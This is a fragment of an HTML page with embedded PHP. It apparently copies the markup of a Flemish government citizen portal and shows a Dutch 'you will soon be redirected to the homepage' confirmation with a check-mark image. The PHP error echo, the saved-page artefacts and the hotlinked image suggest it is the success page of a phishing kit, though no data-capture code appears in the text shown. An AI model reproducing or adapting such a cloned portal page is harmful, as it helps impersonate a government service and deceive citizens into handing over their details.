      .vlw .vlw__u-hr--dashed {
        min-height: 6px;
        border: 0;
        background: url("") repeat-x;
        background-size: 6px 6px;
      }

      .vlw__u-noscroll {
        height: 100%;
        overflow: hidden;
      }

      .vlw__u-noscroll body {
        position: fixed;
        width: 100%;
      }

      dialog:not([open]) {
        display: none;
      }
    </style>
    <link type="text/css" rel="stylesheet" href="m=el_main_css.css">
  </head>
  <body class="" data-n-head="%7B%22class%22:%7B%22ssr%22:%22%22%7D%7D">
    <div id="__nuxt" class="nuxt-page--with-mbp-nav">
      <div id="__layout">
        <div class="bl-wrapper">
          <div class="vl-header__container vl-u-hide-on-print" data-v-e37f0738="">
            <div class="vlw vlw__u-hide-on-print">
             
             
            </div>
          </div>
          <!---->
          <!---->
         
          <main id="main" itemprop="mainContentOfPage" role="main" class="vl-main-content bl-content" tabindex="-1">
            <div class="vl-region">
              <div class="vl-layout">
                <div class="vl-grid vl-grid--is-stacked-large">
                
                  <!---->
                  <div class="vl-col--12-12">
                    <div class="bl-empty-state-card">
                      <div class="bl-empty-state-card__inner">
                        
                        <div class="bl-empty-state-card__content">
                          <div class="u-spacer--tiny"></div>
                          <div class="vl-typography">
                            <div class="vl-grid vl-grid--is-stacked-small">
                              <div class="vl-col--12-12">
                                <div class="vl-grid vl-grid--is-stacked-small">
                                  <div class="vl-col--12-12">
                                    <div>
                                      <div class="entry">
                                        <center>
                                          <h1> <?php if (isset($error)): ?> <?= htmlspecialchars($error) ?> <?php endif; ?> </h1>
                                          <img style="width:150px;" src="https://cliply.co/wp-content/uploads/2021/03/372103860_CHECK_MARK_400px.gif">
                                          <h2>U wordt binnenkort doorgestuurd naar de startpagina... <h2>
                                        </center>
                                      </div>
                                    </div>
                                  </div>
                                </div>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                    <!---->
                    
                    <!---->
                  </div>
                </div>
              </div>
              <!---->
              <!---->
              <!---->
          </main>
          <!---->
          
        </div>
      </div>
    </div>
    <div id="goog-gt-tt" class="VIpgJd-yAWNEb-L7lbkb skiptranslate" style="border-radius: 12px; margin: 0 0 0 -23px; padding: 0; font-family: 'Google Sans', Arial, sans-serif;" data-id="">
      <div id="goog-gt-vt" class="VIpgJd-yAWNEb-hvhgNd">
        <div class=" VIpgJd-yAWNEb-hvhgNd-l4eHX-i3jM8c">
          <img src="24px.svg" width="24" height="24" alt="">
        </div>
        <div class=" VIpgJd-yAWNEb-hvhgNd-k77Iif-i3jM8c">
          <div class="VIpgJd-yAWNEb-hvhgNd-IuizWc" dir="ltr">Original text</div>
          <div id="goog-gt-original-text" class="VIpgJd-yAWNEb-nVMfcd-fmcmS VIpgJd-yAWNEb-hvhgNd-axAV1"></div>
        </div>
        <div class="VIpgJd-yAWNEb-hvhgNd-N7Eqid ltr">
          <div class="VIpgJd-yAWNEb-hvhgNd-N7Eqid-B7I4Od ltr" dir="ltr">
            <div class="VIpgJd-yAWNEb-hvhgNd-UTujCb">Rate this translation</div>
            <div class="VIpgJd-yAWNEb-hvhgNd-eO9mKe">Your feedback will be used to help improve Google Translate</div>
          </div>
          <div class="VIpgJd-yAWNEb-hvhgNd-xgov5 ltr">
            <button id="goog-gt-thumbUpButton" type="button" class="VIpgJd-yAWNEb-hvhgNd-bgm6sf" title="Good translation" aria-label="Good translation" aria-pressed="false">
              <span id="goog-gt-thumbUpIcon">
                <svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                  <path d="M21 7h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 0S7.08 6.85 7 7H2v13h16c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73V9c0-1.1-.9-2-2-2zM7 18H4V9h3v9zm14-7l-3 7H9V8l4.34-4.34L12 9h9v2z"></path>
                </svg>
              </span>
              <span id="goog-gt-thumbUpIconFilled">
                <svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                  <path d="M21 7h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 0S7.08 6.85 7 7v13h11c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73V9c0-1.1-.9-2-2-2zM5 7H1v13h4V7z"></path>
                </svg>
              </span>
            </button>
            <button id="goog-gt-thumbDownButton" type="button" class="VIpgJd-yAWNEb-hvhgNd-bgm6sf" title="Poor translation" aria-label="Poor translation" aria-pressed="false">
              <span id="goog-gt-thumbDownIcon">
                <svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                  <path d="M3 17h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 24s7.09-6.85 7.17-7h5V4H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2zM17 6h3v9h-3V6zM3 13l3-7h9v10l-4.34 4.34L12 15H3v-2z"></path>
                </svg>
              </span>
              <span id="goog-gt-thumbDownIconFilled">
                <svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                  <path d="M3 17h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 24s7.09-6.85 7.17-7V4H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2zm16 0h4V4h-4v13z"></path>
                </svg>
              </span>
            </button>
          </div>
        </div>
        <div id="goog-gt-votingHiddenPane" class="VIpgJd-yAWNEb-hvhgNd-aXYTce">
          <form id="goog-gt-votingForm" action="https://translate.googleapis.com/translate_voting?client=te_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce">
            <input type="text" name="sl" id="goog-gt-votingInputSrcLang" value="">
            <input type="text" name="tl" id="goog-gt-votingInputTrgLang" value="">
            <input type="text" name="query" id="goog-gt-votingInputSrcText" value="">
            <input type="text" name="gtrans" id="goog-gt-votingInputTrgText" value="">
            <input type="text" name="vote" id="goog-gt-votingInputVote" value="">
          </form>
          <iframe name="votingFrame" frameborder="0" src="index_1.html"></iframe>
        </div>
      </div>
    </div>
    <div class="vl-backdrop"></div>
  </body>
  <iframe class="__cbio_ignored" width="0" height="0" style="display: none;" src="index_2.html"></iframe>
</html>